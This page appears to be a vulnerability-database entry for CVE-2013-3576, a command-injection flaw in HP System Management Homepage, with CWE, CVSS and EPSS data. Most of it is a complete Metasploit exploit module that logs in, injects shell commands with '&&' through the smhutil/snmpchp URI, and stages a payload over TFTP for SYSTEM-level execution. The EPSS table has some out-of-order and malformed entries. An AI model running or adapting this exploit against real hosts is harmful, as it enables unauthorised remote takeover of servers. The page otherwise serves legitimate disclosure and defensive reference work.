CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
ginkgosnmp.inc in HP System Management Homepage (SMH) allows remote authenticated users to execute arbitrary commands via shell metacharacters in the PATH_INFO to smhutil/snmpchp.php.en.
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
9
AV:N/AC:L/Au:S/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
72.07%
–
–
2022-11-20
–
–
70.21%
–
–
2023-02-26
–
–
68.65%
–
–
2023-03-12
–
–
–
19.11%
–
2023-04-16
–
–
–
19.11%
–
2023-04-23
–
–
–
19.11%
–
2023-04-30
–
–
–
19.11%
–
2023-06-18
–
–
–
24.76%
–
2023-08-06
–
–
–
29.69%
–
2023-09-24
–
–
–
36.03%
–
2023-12-31
–
–
–
44.83%
–
2024-06-02
–
–
–
46.48%
–
2024-07-14
–
–
–
52.3%
–
2024-09-08
–
–
–
53.6%
–
2024-11-10
–
–
–
49.51%
–
2024-12-22
–
–
–
40.82%
–
2025-01-12
–
–
–
35.13%
–
2025-03-16
–
–
–
48.58%
–
2025-01-19
–
–
–
35.13%
–
2025-03-18
–
–
–
–
41.98%
2025-03-30
–
–
–
–
44.35%
2025-03-30
–
–
–
–
44.35,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "HP System Management Homepage JustGetSNMPQueue Command Injection",
'Description' => %q{
This module exploits a vulnerability found in HP System Management Homepage. By
supplying a specially crafted HTTP request, it is possible to control the
'tempfilename' variable in function JustGetSNMPQueue (found in ginkgosnmp.inc),
which will be used in a exec() function. This results in arbitrary code execution
under the context of SYSTEM. Please note: In order for the exploit to work, the
victim must enable the 'tftp' command, which is the case by default for systems
such as Windows XP, 2003, etc.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Markus Wulftange',
'sinn3r' #Metasploit
],
'References' =>
[
['CVE', '2013-3576'],
['OSVDB', '94191'],
['US-CERT-VU', '735364']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'SSL' => true
},
'Platform' => 'win',
'Targets' =>
[
['Windows', {}],
],
'Privileged' => false,
'DisclosureDate' => "Jun 11 2013",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(2381),
# USERNAME/PASS may not be necessary, because the anonymous access is possible
OptString.new("USERNAME", [false, 'The username to authenticate as']),
OptString.new("PASSWORD", [false, 'The password to authenticate with'])
], self.class)
end
def peer
"#{rhost}:#{rport}"
end
def check
cookie = ''
if not datastore['USERNAME'].to_s.empty? and not datastore['PASSWORD'].to_s.empty?
cookie = login
if cookie.empty?
print_error("#{peer} - Login failed")
return Exploit::CheckCode::Safe
else
print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'")
end
end
sig = Rex::Text.rand_text_alpha(10)
cmd = Rex::Text.uri_encode("echo #{sig}")
uri = normalize_uri("smhutil", "snmpchp/") + "&&#{cmd}&&echo"
req_opts = {}
req_opts['uri'] = uri
if not cookie.empty?
browser_chk = 'HPSMH-browser-check=done for this session'
curl_loc = "curlocation-#{datastore['USERNAME']}="
req_opts['cookie'] = "#{cookie}; #{browser_chk}; #{curl_loc}"
end
res = send_request_raw(req_opts)
if not res
print_error("#{peer} - Connection timed out")
return Exploit::CheckCode::Unknown
end
if res.body =~ /SNMP data engine output/ and res.body =~ /#{sig}/
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def login
username = datastore['USERNAME']
password = datastore['PASSWORD']
cookie = ''
res = send_request_cgi({
'method' => 'POST',
'uri' => '/proxy/ssllogin',
'vars_post' => {
'redirecturl' => '',
'redirectquerystring' => '',
'user' => username,
'password' => password
}
})
if not res
fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out during login")
end
# CpqElm-Login: success
if res.headers['CpqElm-Login'].to_s =~ /success/
cookie = res.headers['Set-Cookie'].scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || ''
end
cookie
end
def setup_stager
execute_cmdstager({ :temp => '.'})
end
def execute_command(cmd, opts={})
# Payload will be: C:\hp\hpsmh\data\htdocs\smhutil
uri = Rex::Text.uri_encode("#{@uri}#{cmd}&&echo")
req_opts = {}
req_opts['uri'] = uri
if not @cookie.empty?
browser_chk = 'HPSMH-browser-check=done for this session'
curl_loc = "curlocation-#{datastore['USERNAME']}="
req_opts['cookie'] = "#{@cookie}; #{browser_chk}; #{curl_loc}"
end
print_status("#{peer} - Executing: #{cmd}")
res = send_request_raw(req_opts)
end
def exploit
@cookie = ''
if not datastore['USERNAME'].to_s.empty? and not datastore['PASSWORD'].to_s.empty?
@cookie = login
if @cookie.empty?
fail_with(Exploit::Failure::NoAccess, "#{peer} - Login failed")
else
print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'")
end
end
@uri = normalize_uri('smhutil', 'snmpchp/') + "&&"
setup_stager
end
end